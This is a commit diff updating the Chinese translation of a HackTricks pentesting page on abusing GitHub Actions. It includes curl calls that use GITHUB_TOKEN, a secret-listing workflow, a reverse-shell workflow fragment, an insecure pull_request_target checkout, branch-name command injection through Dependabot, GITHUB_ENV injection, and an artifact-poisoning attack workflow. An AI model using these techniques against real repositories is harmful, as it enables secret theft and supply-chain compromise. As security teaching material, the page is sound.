mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act
This commit is contained in:
@@ -4,55 +4,55 @@
|
||||
|
||||
## 工具
|
||||
|
||||
以下工具对于查找 Github Action 工作流以及发现脆弱的工作流非常有用:
|
||||
下面的工具对于查找 Github Action workflows 甚至发现有漏洞的 workflow 很有用:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - 还可以查看其检查清单 [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - 也请查看其在 [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) 的 checklist
|
||||
|
||||
## 基本信息
|
||||
|
||||
在此页面中,您将找到:
|
||||
在本页你会找到:
|
||||
|
||||
- 攻击者成功访问 Github Action 的所有影响的**摘要**
|
||||
- **获取访问权限**的不同方式:
|
||||
- 拥有**创建该操作**的权限
|
||||
- 滥用与**拉取请求**相关的触发器
|
||||
- 滥用**其他外部访问**技术
|
||||
- 从已被攻陷的仓库**进行横向移动**
|
||||
- 最后,关于**从内部滥用操作的后期利用技术**的部分(导致上述影响)
|
||||
- 一个 **summary of all the impacts**(攻击者设法访问 Github Action 后的所有影响)
|
||||
- 不同方式来 **get access to an action**:
|
||||
- 拥有 **permissions** 去创建该 action
|
||||
- 滥用与 **pull request** 相关的触发器
|
||||
- 滥用 **other external access** 技术
|
||||
- 从已被攻陷的 repo **Pivoting**
|
||||
- 最后,是一节关于 **post-exploitation techniques to abuse an action from inside**(在内部滥用 action 以造成上述影响)
|
||||
|
||||
## 影响摘要
|
||||
## Impacts Summary
|
||||
|
||||
有关 [**Github Actions 的介绍,请查看基本信息**](../basic-github-information.md#github-actions)。
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
|
||||
如果您可以在 **仓库** 中 **执行任意代码**,您可能能够:
|
||||
如果你能在一个 **repository** 的 **GitHub Actions** 中 **execute arbitrary code**,你可能能够:
|
||||
|
||||
- **窃取** 挂载到管道的机密,并 **滥用管道的权限** 以获得对外部平台(如 AWS 和 GCP)的未授权访问。
|
||||
- **破坏部署** 和其他 **工件**。
|
||||
- 如果管道部署或存储资产,您可以更改最终产品,从而启用供应链攻击。
|
||||
- **在自定义工作者中执行代码**,以滥用计算能力并横向移动到其他系统。
|
||||
- **覆盖仓库代码**,具体取决于与 `GITHUB_TOKEN` 相关的权限。
|
||||
- **Steal secrets**(这些 secrets 被挂载到 pipeline 上)并 **abuse the pipeline's privileges**,从而获得对外部平台(如 AWS 和 GCP)的未授权访问。
|
||||
- **Compromise deployments** 和其他 **artifacts**。
|
||||
- 如果 pipeline 部署或存储资产,你可以篡改最终产品,从而发起 supply chain attack。
|
||||
- **Execute code in custom workers** 来滥用计算能力并 pivot 到其他系统。
|
||||
- **Overwrite repository code**,这取决于与 `GITHUB_TOKEN` 相关的权限。
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
这个 "**秘密**"(来自 `${{ secrets.GITHUB_TOKEN }}` 和 `${{ github.token }}`)在管理员启用此选项时提供:
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
此令牌与 **Github 应用程序使用的令牌相同**,因此可以访问相同的端点:[https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github 应该发布一个 [**流程**](https://github.com/github/roadmap/issues/74),**允许跨仓库** 访问 GitHub,以便一个仓库可以使用 `GITHUB_TOKEN` 访问其他内部仓库。
|
||||
> Github 应该发布一个 [**flow**](https://github.com/github/roadmap/issues/74),允许在 GitHub 内部进行 cross-repository 访问,这样一个 repo 就能使用 `GITHUB_TOKEN` 访问其他内部 repo。
|
||||
|
||||
您可以在以下位置查看此令牌的可能 **权限**:[https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
你可以在以下查看该 token 的可能 **permissions**: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
请注意,令牌 **在作业完成后会过期**。\
|
||||
这些令牌的格式如下:`ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
注意该 token **expires after the job has completed**。
|
||||
这些 token 看起来像这样:`ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
您可以使用此令牌执行的一些有趣操作:
|
||||
下面是一些使用该 token 可以做的有趣事情:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
@@ -77,7 +77,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-d '{"event":"APPROVE"}'
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="创建 PR" }}
|
||||
{{#tab name="Create PR" }}
|
||||
```bash
|
||||
# Create a PR
|
||||
curl -X POST \
|
||||
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,在多个情况下,您可能会在 **Github Actions 的环境变量或秘密中找到 github 用户令牌**。这些令牌可能会让您对存储库和组织拥有更多权限。
|
||||
> 请注意,在多种情况下,你可能会在 **Github Actions envs 或 secrets 中找到 github user tokens**。这些 tokens 可能会赋予你对仓库和组织的更多权限。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>列出 Github Action 输出中的秘密</summary>
|
||||
<summary>在 Github Action 输出中列出 secrets</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>通过秘密获取反向 shell</summary>
|
||||
<summary>使用 secrets 获取 reverse shell</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
可以通过**检查日志**来查看其他用户仓库中Github Token的权限:
|
||||
可以通过 **checking the logs** 来检查授予 Github Token 在其他用户仓库中的权限(查看 actions 的日志):
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## 允许的执行
|
||||
## Allowed Execution
|
||||
|
||||
> [!NOTE]
|
||||
> 这是妥协Github actions的最简单方法,因为这种情况假设您有**在组织中创建新仓库的权限**,或对某个仓库有**写权限**。
|
||||
> 这是攻破 Github actions 的最简单方式,因为该场景假设你有权限 **create a new repo in the organization**,或对某个仓库拥有 **write privileges over a repository**。
|
||||
>
|
||||
> 如果您处于这种情况,您可以查看[Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)。
|
||||
> 如果你处于这种情况,你可以直接查看 [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)。
|
||||
|
||||
### 从仓库创建执行
|
||||
### Execution from Repo Creation
|
||||
|
||||
如果组织的成员可以**创建新仓库**并且您可以执行github actions,您可以**创建一个新仓库并窃取在组织级别设置的秘密**。
|
||||
如果组织成员可以**create new repos**,且你可以执行 github actions,你可以**创建一个新仓库并窃取组织级别设置的 secrets**。
|
||||
|
||||
### 从新分支执行
|
||||
### Execution from a New Branch
|
||||
|
||||
如果您可以**在已经配置了Github Action的仓库中创建新分支**,您可以**修改**它,**上传**内容,然后**从新分支执行该操作**。这样您可以**提取仓库和组织级别的秘密**(但您需要知道它们的名称)。
|
||||
如果你可以在已配置 Github Action 的仓库中**create a new branch**,你可以**修改**它、**upload** 内容,然后从**新分支执行该 action**。通过这种方式你可以**exfiltrate repository and organization level secrets**(但你需要知道它们的名称)。
|
||||
|
||||
您可以在**手动**、**创建PR时**或**推送某些代码时**使修改后的操作可执行(具体取决于您想要多吵)。
|
||||
> [!WARNING]
|
||||
> 仅在 workflow YAML 内实现的任何限制(例如,`on: push: branches: [main]`、job 条件或手动门控)都可以被协作者编辑。没有外部强制措施(branch protections、protected environments、和 protected tags)的情况下,贡献者可以将 workflow 重新定向到他们的分支并滥用挂载的 secrets/permissions。
|
||||
|
||||
你可以让修改后的 action 在 **manually,** 当 **PR is created** 或当 **some code is pushed** 时可执行(取决于你想多吵闹):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
@@ -180,46 +183,46 @@ branches:
|
||||
## Forked Execution
|
||||
|
||||
> [!NOTE]
|
||||
> 有不同的触发器可以让攻击者**执行另一个仓库的Github Action**。如果这些可触发的操作配置不当,攻击者可能会利用它们。
|
||||
> 有不同的触发器可能允许攻击者**执行另一个仓库的 Github Action**。如果这些可触发的 action 配置不当,攻击者可能会利用它们进行妥协。
|
||||
|
||||
### `pull_request`
|
||||
|
||||
工作流触发器**`pull_request`**将在每次收到拉取请求时执行工作流,但有一些例外:默认情况下,如果这是您**第一次**进行**协作**,某些**维护者**需要**批准**工作流的**运行**:
|
||||
工作流触发器 **`pull_request`** 会在每次收到 pull request 时执行工作流,但有一些例外:默认情况下,如果这是你**第一次**进行**协作**,一些**maintainer**需要**批准**该工作流的**运行**:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> 由于**默认限制**适用于**首次**贡献者,您可以通过**修复有效的错误/拼写错误**来贡献,然后发送**其他PR以滥用您新的`pull_request`权限**。
|
||||
> 由于**默认限制**针对的是**首次**贡献者,你可以先提交修复合法 bug/错别字的贡献,然后再发送**其他 PR 来滥用你新的 `pull_request` 权限**。
|
||||
>
|
||||
> **我测试过,这不行**:~~另一个选项是创建一个与曾经为该项目贡献的人同名的账户,然后删除他的账户。~~
|
||||
> **我测试过这是行不通的**:~~另一个选项是创建一个与某个已贡献者同名的账户并删除他的账户。~~
|
||||
|
||||
此外,默认情况下**防止写权限**和**对目标仓库的秘密访问**,如[**文档**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)中所述:
|
||||
此外,默认情况下会**阻止写权限**和**secrets 的访问**到目标仓库,正如[**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)中所述:
|
||||
|
||||
> 除了`GITHUB_TOKEN`,**在从**forked**仓库触发工作流时,**秘密不会传递给运行器**。在**来自forked仓库的拉取请求中,`GITHUB_TOKEN`具有只读权限**。
|
||||
> 除了 `GITHUB_TOKEN`,当工作流由 **forked** 仓库触发时,**secrets 不会传递给 runner**。在来自 **forked repositories** 的 pull requests 中,**`GITHUB_TOKEN` 具有只读权限**。
|
||||
|
||||
攻击者可以修改Github Action的定义,以执行任意操作并附加任意操作。然而,由于上述限制,他将无法窃取秘密或覆盖仓库。
|
||||
攻击者可以修改 Github Action 的定义以执行任意操作并追加任意 steps。但由于上述限制,他无法窃取 secrets 或覆盖仓库。
|
||||
|
||||
> [!CAUTION]
|
||||
> **是的,如果攻击者在PR中更改将被触发的github action,他的Github Action将被使用,而不是源仓库中的那个!**
|
||||
> **是的,如果攻击者在 PR 中更改了将被触发的 github action,那么将使用他提交的 Github Action,而不是原始仓库中的那个!**
|
||||
|
||||
由于攻击者还控制着被执行的代码,即使在`GITHUB_TOKEN`上没有秘密或写权限,攻击者也可以例如**上传恶意工件**。
|
||||
因为攻击者也控制着要执行的代码,即使 `GITHUB_TOKEN` 没有 secrets 或写权限,攻击者仍然可以例如**上传恶意的 artifacts**。
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
工作流触发器**`pull_request_target`**对目标仓库具有**写权限**和**访问秘密**(并且不需要请求权限)。
|
||||
工作流触发器 **`pull_request_target`** 对目标仓库拥有**写权限**并且**可以访问 secrets**(且不会请求额外批准)。
|
||||
|
||||
请注意,工作流触发器**`pull_request_target`**在**基础上下文**中运行,而不是在PR提供的上下文中(以**不执行不受信任的代码**)。有关`pull_request_target`的更多信息,请[**查看文档**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\
|
||||
此外,关于这种特定危险用法的更多信息,请查看这篇[**github博客文章**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。
|
||||
注意,工作流触发器 **`pull_request_target`** **在 base 上下文中运行**,而不是在 PR 提供的上下文中(以**避免执行不受信任的代码**)。关于 `pull_request_target` 的更多信息请[**查看文档**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\
|
||||
另外,关于此特殊危险用法的更多信息请参见此 [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。
|
||||
|
||||
看起来因为**执行的工作流**是定义在**基础**中的而不是在PR中的,所以使用**`pull_request_target`**是**安全的**,但有**一些情况并非如此**。
|
||||
看起来由于被**执行的工作流**是定义在 **base** 而不是在 PR 中,使用 **`pull_request_target`** 似乎是**安全的**,但在少数情况下并非如此。
|
||||
|
||||
而且这个将有**访问秘密**的权限。
|
||||
并且该触发器将**具有对 secrets 的访问权限**。
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run)触发器允许在工作流`完成`、`请求`或`进行中`时从另一个工作流运行工作流。
|
||||
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) 触发器允许在另一个工作流 `completed`、`requested` 或 `in_progress` 时运行一个工作流。
|
||||
|
||||
在这个例子中,配置了一个工作流,在单独的“运行测试”工作流完成后运行:
|
||||
在下面的示例中,一个工作流被配置为在单独的 "Run Tests" 工作流完成后运行:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -227,31 +230,31 @@ workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
此外,根据文档:由 `workflow_run` 事件启动的工作流能够 **访问秘密和写入令牌,即使之前的工作流没有**。
|
||||
此外,根据文档:由 `workflow_run` 事件启动的 workflow 能够 **访问 secrets 并写入 tokens,即使先前的 workflow 无法**。
|
||||
|
||||
如果这种工作流 **依赖** 于可以通过 **`pull_request`** 或 **`pull_request_target`** 由外部用户 **触发** 的 **工作流**,则可能会受到攻击。一些脆弱的示例可以在 [**这篇博客**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**中找到。** 第一个示例是 **`workflow_run`** 触发的工作流下载攻击者的代码:`${{ github.event.pull_request.head.sha }}`\
|
||||
第二个示例是 **将** 一个 **工件** 从 **不受信任** 的代码传递到 **`workflow_run`** 工作流,并以使其 **易受 RCE 攻击** 的方式使用该工件的内容。
|
||||
如果该类型的 workflow 依赖于可以被外部用户通过 **`pull_request`** 或 **`pull_request_target`** 触发的 **workflow**,则可能被攻击。可以在 [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability) 找到几个易受攻击的示例。第一个示例是由 **`workflow_run`** 触发的 workflow 下载攻击者的代码:`${{ github.event.pull_request.head.sha }}`\
|
||||
第二个示例是 **将** 来自 **untrusted** 代码的 **artifact** 传递给 **`workflow_run`** workflow,并以一种会导致 **RCE** 的方式使用该 artifact 的内容。
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO:检查从 pull_request 执行时使用/下载的代码是否来自原始代码或来自分叉的 PR
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
|
||||
## 滥用分叉执行
|
||||
|
||||
我们已经提到外部攻击者如何设法使 GitHub 工作流执行,现在让我们看看如果这些执行配置不当,如何可能被滥用:
|
||||
我们已经提到外部攻击者能够使 github workflow 执行的所有方式,现在我们来看看如果这些执行配置不当,会如何被滥用:
|
||||
|
||||
### 不受信任的检出执行
|
||||
### Untrusted checkout execution
|
||||
|
||||
在 **`pull_request`** 的情况下,工作流将在 **PR 的上下文中** 执行(因此它将执行 **恶意 PR 的代码**),但需要有人 **先授权**,并且它将运行时有一些 [限制](#pull_request)。
|
||||
在 **`pull_request`** 的情况下,workflow 将在 **PR 的上下文** 中执行(因此会执行 **malicious PRs code**),但需要有人**先授权**,并且它将带有一些 [限制](#pull_request) 运行。
|
||||
|
||||
在使用 **`pull_request_target` 或 `workflow_run`** 的工作流中,如果依赖于可以从 **`pull_request_target` 或 `pull_request`** 触发的工作流,则将执行原始代码库中的代码,因此 **攻击者无法控制执行的代码**。
|
||||
如果某个 workflow 使用 **`pull_request_target` or `workflow_run`**,并且依赖于可以由 **`pull_request_target` or `pull_request`** 触发的 workflow,则会执行原始 repo 中的代码,因此 **attacker cannot control the executed code**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 但是,如果 **action** 有一个 **显式的 PR 检出**,将 **从 PR 获取代码**(而不是从基础),它将使用攻击者控制的代码。例如(查看第 12 行,其中下载了 PR 代码):
|
||||
> 然而,如果该 **action** 有一个明确的 PR checkout,会 **从 PR 获取代码**(而不是从 base),它将使用由攻击者控制的代码。例如(检查第 12 行,PR 代码在此处被下载):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># 不安全。仅作为示例提供。
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
on:
|
||||
pull_request_target
|
||||
|
||||
@@ -276,35 +279,35 @@ arg1: ${{ secrets.supersecret }}
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
谢谢!
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
潜在的 **不受信任的代码在 `npm install` 或 `npm build` 期间运行**,因为构建脚本和引用的 **包由 PR 的作者控制**。
|
||||
潜在的 **untrusted code 会在 `npm install` 或 `npm build` 期间被执行**,因为构建脚本和引用的 **packages** 由 PR 的作者控制。
|
||||
|
||||
> [!WARNING]
|
||||
> 搜索脆弱 actions 的 GitHub dork 是:`event.pull_request pull_request_target extension:yml`,但是,即使 action 配置不安全,也有不同的方法可以安全地配置要执行的作业(例如,使用关于谁是生成 PR 的参与者的条件)。
|
||||
> 一个用于搜索易受攻击 actions 的 github dork 是:`event.pull_request pull_request_target extension:yml`,不过,即使 action 配置不安全,也有不同的方法来安全地配置要执行的 jobs(例如使用关于谁是生成 PR 的 actor 的条件判断)。
|
||||
|
||||
### 上下文脚本注入 <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
请注意,有某些 [**GitHub 上下文**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) 的值是由创建 PR 的 **用户** **控制** 的。如果 GitHub action 使用该 **数据执行任何操作**,则可能导致 **任意代码执行:**
|
||||
请注意,有些 [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) 的值由创建 PR 的 **user** 控制。如果 github action 使用这些 **数据去执行任何东西**,可能导致 **arbitrary code execution:**
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
{{#endref}}
|
||||
|
||||
### **GITHUB_ENV 脚本注入** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
根据文档:您可以通过定义或更新环境变量并将其写入 **`GITHUB_ENV`** 环境文件,使 **环境变量可用于工作流作业中的任何后续步骤**。
|
||||
从文档:你可以通过定义或更新环境变量并将其写入 **`GITHUB_ENV`** environment file,使该环境变量对 workflow job 中的任何后续步骤可用。
|
||||
|
||||
如果攻击者能够 **注入任何值** 到这个 **env** 变量中,他可以注入可以在后续步骤中执行代码的环境变量,例如 **LD_PRELOAD** 或 **NODE_OPTIONS**。
|
||||
如果攻击者能够在该 **env** 变量中 **注入任意值**,他可以注入能够在后续步骤中执行代码的环境变量,例如 **LD_PRELOAD** 或 **NODE_OPTIONS**。
|
||||
|
||||
例如 ([**这个**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 和 [**这个**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)),想象一个工作流信任上传的工件将其内容存储在 **`GITHUB_ENV`** 环境变量中。攻击者可以上传类似这样的内容来破坏它:
|
||||
例如([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 和 [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)),想象一个 workflow 信任上传的 artifact 将其内容存入 **`GITHUB_ENV`** env 变量。攻击者可以上传如下内容来利用它:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Dependabot 和其他受信任的机器人
|
||||
### Dependabot and other trusted bots
|
||||
|
||||
正如在 [**这篇博客文章**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) 中所述,多个组织有一个 GitHub Action,可以合并来自 `dependabot[bot]` 的任何 PRR,例如:
|
||||
如 [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) 所示,若干组织有一个 Github Action 会合并来自 `dependabot[bot]` 的任何 PR(如下面所示):
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: gh pr merge $ -d -m
|
||||
```
|
||||
这是一个问题,因为 `github.actor` 字段包含了导致触发工作流的最新事件的用户。而有几种方法可以让 `dependabot[bot]` 用户修改 PR。例如:
|
||||
这是个问题,因为 `github.actor` 字段包含触发 workflow 的最新事件的用户。并且有好几种方法可以让 `dependabot[bot]` 用户修改一个 PR。例如:
|
||||
|
||||
- Fork 受害者的仓库
|
||||
- 将恶意负载添加到你的副本中
|
||||
- 在你的 fork 上启用 Dependabot,添加一个过时的依赖项。Dependabot 将创建一个修复依赖项的分支,并包含恶意代码。
|
||||
- 从该分支向受害者的仓库打开一个 Pull Request(PR 将由用户创建,因此尚未发生任何事情)
|
||||
- 然后,攻击者返回到他在 fork 中打开的初始 PR,并运行 `@dependabot recreate`
|
||||
- 然后,Dependabot 在该分支上执行一些操作,修改了受害者仓库上的 PR,这使得 `dependabot[bot]` 成为触发工作流的最新事件的执行者(因此,工作流运行)。
|
||||
- Fork 受害者仓库
|
||||
- 在你的副本中添加恶意载荷
|
||||
- 在你的 fork 上启用 Dependabot,并添加一个过期的依赖。Dependabot 会创建一个分支来修复该依赖,分支中包含恶意代码。
|
||||
- 从该分支向受害者仓库打开一个 Pull Request(PR 将由用户创建,因此暂时不会发生任何事)
|
||||
- 然后,攻击者回到 Dependabot 在其 fork 中最初打开的 PR,并运行 `@dependabot recreate`
|
||||
- 随后,Dependabot 对该分支执行一些操作,修改了在受害者仓库上的 PR,这使得 `dependabot[bot]` 成为触发 workflow 的最新事件的 actor(因此,workflow 会运行)。
|
||||
|
||||
接下来,如果 Github Action 不是合并,而是像下面这样有命令注入:
|
||||
继续,如果不是合并,而是 Github Action 中存在类似下面的 command injection,会怎样:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: echo ${ { github.event.pull_request.head.ref }}
|
||||
```
|
||||
原始博客文章提出了两种利用这种行为的选项,第二个选项是:
|
||||
Well, the original blogpost proposes two options to abuse this behavior being the second one:
|
||||
|
||||
- 复制受害者的仓库并启用 Dependabot,使用一些过时的依赖项。
|
||||
- 创建一个包含恶意 shell 注入代码的新分支。
|
||||
- 将仓库的默认分支更改为该分支。
|
||||
- 从该分支向受害者仓库创建一个 PR。
|
||||
- 在 PR 中运行 `@dependabot merge`,这是 Dependabot 在他的分支中打开的。
|
||||
- Dependabot 将在你复制的仓库的默认分支中合并他的更改,更新受害者仓库中的 PR,使得 `dependabot[bot]` 成为触发工作流的最新事件的执行者,并使用恶意的分支名称。
|
||||
- Fork the victim repository and enable Dependabot with some outdated dependency.
|
||||
- Create a new branch with the malicious shell injeciton code.
|
||||
- Change the default branch of the repo to that one
|
||||
- Create a PR from this branch to the victim repository.
|
||||
- Run `@dependabot merge` in the PR Dependabot opened in his fork.
|
||||
- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
|
||||
|
||||
### 易受攻击的第三方 Github Actions
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
正如在 [**这篇博客文章**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) 中提到的,这个 Github Action 允许访问来自不同工作流甚至仓库的工件。
|
||||
正如 [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) 提到的,这个 Github Action 允许访问来自不同 workflows 甚至不同 repositories 的 artifacts。
|
||||
|
||||
问题在于,如果 **`path`** 参数未设置,工件将提取到当前目录中,并且可能会覆盖后续在工作流中使用或执行的文件。因此,如果工件存在漏洞,攻击者可以利用这一点来妥协其他信任该工件的工作流。
|
||||
问题在于,如果未设置 **`path`** 参数,artifact 会被解压到当前目录,这可能覆盖之后在 workflow 中被使用或执行的文件。因此,如果该 Artifact 存在漏洞,攻击者可以滥用此点来破坏依赖该 Artifact 的其他 workflows。
|
||||
|
||||
易受攻击的工作流示例:
|
||||
Example of vulnerable workflow:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -373,7 +376,7 @@ with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
这可以通过以下工作流程进行攻击:
|
||||
可以使用以下 workflow 发起攻击:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
@@ -390,35 +393,35 @@ path: ./script.py
|
||||
```
|
||||
---
|
||||
|
||||
## 其他外部访问
|
||||
## Other External Access
|
||||
|
||||
### 删除的命名空间仓库劫持
|
||||
### Deleted Namespace Repo Hijacking
|
||||
|
||||
如果一个账户更改了名称,其他用户在一段时间后可以注册一个相同名称的账户。如果一个仓库在更改名称之前的**星标少于100个**,Github将允许新注册的用户使用相同的名称创建一个**与被删除的仓库同名的仓库**。
|
||||
如果一个帐户更改了其名称,另一个用户在一段时间后可能会注册该名称。如果一个 repository 在更名之前拥有 **少于 100 个 stars**,GitHub 会允许新注册的同名用户创建一个与被删除仓库 **同名的 repository**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 因此,如果一个操作使用来自一个不存在账户的仓库,攻击者仍然有可能创建该账户并妥协该操作。
|
||||
> 所以如果一个 action 使用来自一个不存在的 account 的 repo,攻击者仍然有可能创建该 account 并 compromise 该 action。
|
||||
|
||||
如果其他仓库使用了**该用户仓库的依赖项**,攻击者将能够劫持它们。这里有一个更完整的解释: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
如果其他 repositories 使用了 **来自该用户 repos 的 dependencies**,攻击者就能够劫持它们。更完整的解释见: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## 仓库转移
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> 在本节中,我们将讨论允许**从一个仓库转移到另一个仓库**的技术,假设我们在第一个仓库上有某种访问权限(请查看前一节)。
|
||||
> 在本节中我们将讨论一些技术,这些技术允许在假设我们对第一个 repo 有某种访问权限的情况下,**pivot from one repo to another**(参见上一节)。
|
||||
|
||||
### 缓存中毒
|
||||
### Cache Poisoning
|
||||
|
||||
在**同一分支的工作流运行之间**维护一个缓存。这意味着如果攻击者**妥协**了一个**包**,然后将其存储在缓存中,并被**更高权限**的工作流**下载**和执行,他将能够**妥协**该工作流。
|
||||
在相同 branch 的 workflow runs 之间会维护一个 cache。这意味着如果攻击者 compromise 一个 package,该 package 被存入 cache,并被一个权限更高的 workflow 下载并执行,那么攻击者也能够 compromise 那个 workflow。
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
{{#endref}}
|
||||
|
||||
### 工件中毒
|
||||
### Artifact Poisoning
|
||||
|
||||
